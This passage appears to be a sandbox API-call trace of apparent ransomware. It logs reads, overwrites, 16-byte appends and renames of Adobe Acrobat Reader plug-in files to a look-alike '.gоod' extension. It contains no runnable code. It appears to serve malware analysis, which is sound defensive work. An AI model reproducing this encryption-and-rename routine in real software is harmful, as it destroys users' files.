(lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0092.659] GetFileType (hFile=0x7ac) returned 0x1 [0092.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.659] GetFileType (hFile=0x7ac) returned 0x1 [0092.659] ReadFile (in: hFile=0x7ac, lpBuffer=0x36fa1a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x36fa1a8*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0092.687] CloseHandle (hObject=0x7ac) returned 1 [0092.687] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", lpFilePart=0x0) returned 0x51 [0092.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0092.687] GetFileType (hFile=0x7ac) returned 0x1 [0092.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.687] GetFileType (hFile=0x7ac) returned 0x1 [0092.687] WriteFile (in: hFile=0x7ac, lpBuffer=0x36f8ee0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x36f8ee0*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0092.687] CloseHandle (hObject=0x7ac) returned 1 [0092.688] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", lpFilePart=0x0) returned 0x51 [0092.688] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api.gоod", lpFilePart=0x0) returned 0x56 [0092.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0092.688] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda84b68a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x33755429, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f473)) returned 1 [0092.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0092.688] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api.gоod")) returned 1 [0092.688] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", lpFilePart=0x0) returned 0x46 [0092.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0092.688] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api"), fInfoLevelId=0x0, lpFileInformation=0x3776620 | out: lpFileInformation=0x3776620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe02be995, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1f463)) returned 1 [0092.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0092.918] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", lpFilePart=0x0) returned 0x46 [0092.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.919] GetFileType (hFile=0x778) returned 0x1 [0092.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.919] GetFileType (hFile=0x778) returned 0x1 [0092.919] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0092.919] ReadFile (in: hFile=0x778, lpBuffer=0x33f7758, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x33f7758*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0092.920] CloseHandle (hObject=0x778) returned 1 [0092.920] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", lpFilePart=0x0) returned 0x46 [0092.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.920] GetFileType (hFile=0x778) returned 0x1 [0092.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.921] GetFileType (hFile=0x778) returned 0x1 [0092.921] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1f463 [0092.921] WriteFile (in: hFile=0x778, lpBuffer=0x33f89e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x33f89e0*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0092.922] CloseHandle (hObject=0x778) returned 1 [0092.922] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", lpFilePart=0x0) returned 0x46 [0092.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.922] GetFileType (hFile=0x778) returned 0x1 [0092.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.922] GetFileType (hFile=0x778) returned 0x1 [0092.922] ReadFile (in: hFile=0x778, lpBuffer=0x33fad10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x33fad10*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0092.953] CloseHandle (hObject=0x778) returned 1 [0092.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", lpFilePart=0x0) returned 0x46 [0092.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.953] GetFileType (hFile=0x778) returned 0x1 [0092.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.953] GetFileType (hFile=0x778) returned 0x1 [0092.953] WriteFile (in: hFile=0x778, lpBuffer=0x33f9a78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x33f9a78*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0092.953] CloseHandle (hObject=0x778) returned 1 [0092.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", lpFilePart=0x0) returned 0x46 [0092.954] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api.gоod", lpFilePart=0x0) returned 0x4b [0092.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0092.954] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe02be995, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x339ddccd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f473)) returned 1 [0092.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0092.954] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api.gоod")) returned 1 [0092.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", lpFilePart=0x0) returned 0x48 [0092.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0092.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api"), fInfoLevelId=0x0, lpFileInformation=0x34770f0 | out: lpFileInformation=0x34770f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb263)) returned 1 [0092.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0092.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", lpFilePart=0x0) returned 0x48 [0092.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0092.955] GetFileType (hFile=0x778) returned 0x1 [0092.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.955] GetFileType (hFile=0x778) returned 0x1 [0092.955] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0092.955] ReadFile (in: hFile=0x778, lpBuffer=0x3477508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3477508*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0093.433] CloseHandle (hObject=0x778) returned 1 [0093.433] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", lpFilePart=0x0) returned 0x48 [0093.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0093.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0093.434] GetFileType (hFile=0x778) returned 0x1 [0093.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0093.434] GetFileType (hFile=0x778) returned 0x1 [0093.434] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0xb263 [0093.434] WriteFile (in: hFile=0x778, lpBuffer=0x35a8950*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x35a8950*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0093.435] CloseHandle (hObject=0x778) returned 1 [0093.460] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", lpFilePart=0x0) returned 0x48 [0093.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0093.460] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0093.460] GetFileType (hFile=0x7b4) returned 0x1 [0093.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0093.460] GetFileType (hFile=0x7b4) returned 0x1 [0093.460] ReadFile (in: hFile=0x7b4, lpBuffer=0x33d8768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x33d8768*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0093.489] CloseHandle (hObject=0x7b4) returned 1 [0093.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", lpFilePart=0x0) returned 0x48 [0093.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0093.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0093.948] GetFileType (hFile=0x768) returned 0x1 [0093.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0093.948] GetFileType (hFile=0x768) returned 0x1 [0093.948] WriteFile (in: hFile=0x768, lpBuffer=0x33a3228*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x33a3228*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0094.133] CloseHandle (hObject=0x768) returned 1 [0094.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", lpFilePart=0x0) returned 0x48 [0094.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api.gоod", lpFilePart=0x0) returned 0x4d [0094.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0094.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb273)) returned 1 [0094.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0094.134] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api.gоod")) returned 1 [0094.134] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", lpFilePart=0x0) returned 0x4a [0094.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0094.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\escript.api"), fInfoLevelId=0x0, lpFileInformation=0x35a3c58 | out: lpFileInformation=0x35a3c58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe03efc54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x280063)) returned 1 [0094.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0094.136] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", lpFilePart=0x0) returned 0x4a [0094.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0094.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\escript.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.136] GetFileType (hFile=0x768) returned 0x1 [0094.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0094.136] GetFileType (hFile=0x768) returned 0x1 [0094.136] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0094.136] ReadFile (in: hFile=0x768, lpBuffer=0x35a4070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x35a4070*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0094.137] CloseHandle (hObject=0x768) returned 1 [0094.137] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", lpFilePart=0x0) returned 0x4a [0094.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0094.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\escript.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.138] GetFileType (hFile=0x768) returned 0x1 [0094.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0094.138] GetFileType (hFile=0x768) returned 0x1 [0094.138] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x280063 [0094.138] WriteFile (in: hFile=0x768, lpBuffer=0x35a5308*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x35a5308*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0094.139] CloseHandle (hObject=0x768) returned 1 [0094.565] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", lpFilePart=0x0) returned 0x4a [0094.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0094.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 